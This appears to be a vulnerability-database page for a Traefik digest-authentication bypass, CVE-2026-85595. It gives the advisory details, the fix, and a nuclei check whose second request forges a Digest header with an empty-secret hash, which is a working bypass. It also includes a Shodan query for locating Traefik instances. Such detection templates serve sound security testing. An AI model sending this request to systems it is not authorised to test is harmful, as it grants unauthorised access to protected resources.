Browse / CVEs / CVE-2026-85595
CVE-2026-85595· traefik / traefik· CWE-287
Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass
criticalseverity
9.8CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
Impact
Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.
Fix
Update to version 2.11.55 or later.
How to confirm it
Send: GET /
Positive when: status_code_1 == 401 and contains(tolower(header_1), "digest realm=")
Send: GET /
Positive when: status_code == 200 and !contains(tolower(header), "www-authenticate")Run it with nuclei: nuclei -id CVE-2026-85595 -u <target>
The full check
id: CVE-2026-85595
info:
name: Traefik < 2.11.55 / 3.0.0 - 3.7.10 - Digest Authentication Bypass
author: Boreas37
severity: critical
description: |
Traefik < 2.11.55 contains an authentication bypass caused by digestAuth middleware returning empty secret for unknown usernames, letting attackers bypass authentication on digestAuth-protected routes without valid credentials.
impact: |
Attackers can bypass authentication on protected routes, gaining unauthorized access to restricted resources.
remediation: |
Update to version 2.11.55 or later.
reference:
- https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c
- https://github.com/containous/go-http-auth/commit/b975dcaa8c48
- https://github.com/traefik/traefik/commit/2116686308a2
- https://nvd.nist.gov/vuln/detail/CVE-2026-85595
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-85595
epss-score: 0.02451
epss-percentile: 0.84521
cwe-id: CWE-287
metadata:
max-request: 2
verified: true
vendor: traefik
product: traefik
shodan-query: http.title:"Traefik"
tags: cve,cve2026,traefik,digest,auth-bypass
flow: http(1) && http(2)
variables:
username: "traefik-poc"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 401'
- 'contains(tolower(header_1), "digest realm=")'
condition: and
internal: true
extractors:
- type: regex
name: realm
part: header
group: 1
regex:
- 'realm="([^"]+)"'
internal: true
- type: regex
name: nonce
part: header
group: 1
regex:
- 'nonce="([^"]+)"'
internal: true
- type: regex
name: opaque
part: header
group: 1
regex:
- 'opaque="([^"]+)"'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Authorization: Digest username="{{username}}", realm="{{realm}}", nonce="{{nonce}}", uri="{{path}}", qop=auth, nc=00000001, cnonce="0a4f113b", response="{{md5(concat(":", nonce, ":00000001:0a4f113b:auth:", md5(concat("GET:", path))))}}", opaque="{{opaque}}", algorithm=MD5
matchers:
- type: dsl
condition: and
dsl:
- 'status_code == 200'
- '!contains(tolower(header), "www-authenticate")'References
- https://github.com/traefik/traefik/security/advisories/GHSA-5w68-77r2-r64c
- https://github.com/containous/go-http-auth/commit/b975dcaa8c48
- https://github.com/traefik/traefik/commit/2116686308a2
- https://nvd.nist.gov/vuln/detail/CVE-2026-85595
Use this check only on systems you are authorised to test. Where the data comes from